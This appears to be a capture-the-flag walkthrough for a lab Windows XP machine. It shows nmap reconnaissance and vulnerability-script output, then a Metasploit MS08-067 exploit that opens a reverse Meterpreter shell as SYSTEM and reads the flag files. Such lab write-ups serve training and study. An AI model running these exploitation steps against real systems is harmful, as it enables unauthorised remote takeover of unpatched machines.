root@37f72653a832:/# nmap -sC -sV -T4 -p-
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-14 23:07 UTC
Nmap scan report for
Host is up (0.020s latency).
Not shown: 65532 filtered ports
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d00h28m49s, deviation: 2h07m16s, median: 4d22h58m49s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:cc:db (VMware)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2020-05-20T04:07:45+03:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.17 seconds

The scan reveals that this is an old Windows XP system. Performing a vulnerability scans shows that the system is likely vulnerable to 2 major exploits, MS08-067 and MS17-010

| smb-vuln-ms08-067:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
| smb-vuln-ms17-010:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks

I will use ms08-067. With that I get a shell as NT AUTHORITY\SYSTEM

msf5 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on
[*] - Automatically detecting the target...
[*] - Fingerprint: Windows XP - Service Pack 3 - lang:Unknown
[*] - We could not detect the language pack, defaulting to English
[*] - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] - Attempting to trigger the vulnerability...
[*] Sending stage (176195 bytes) to
[*] Meterpreter session 1 opened ( -> at 2020-05-14 23:24:43

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

From here I can read the user.txt and root.txt flags

C:\>type "C:\Documents and Settings\john\Desktop\user.txt"
C:\>type "C:\Documents and Settings\Administrator\Desktop\root.txt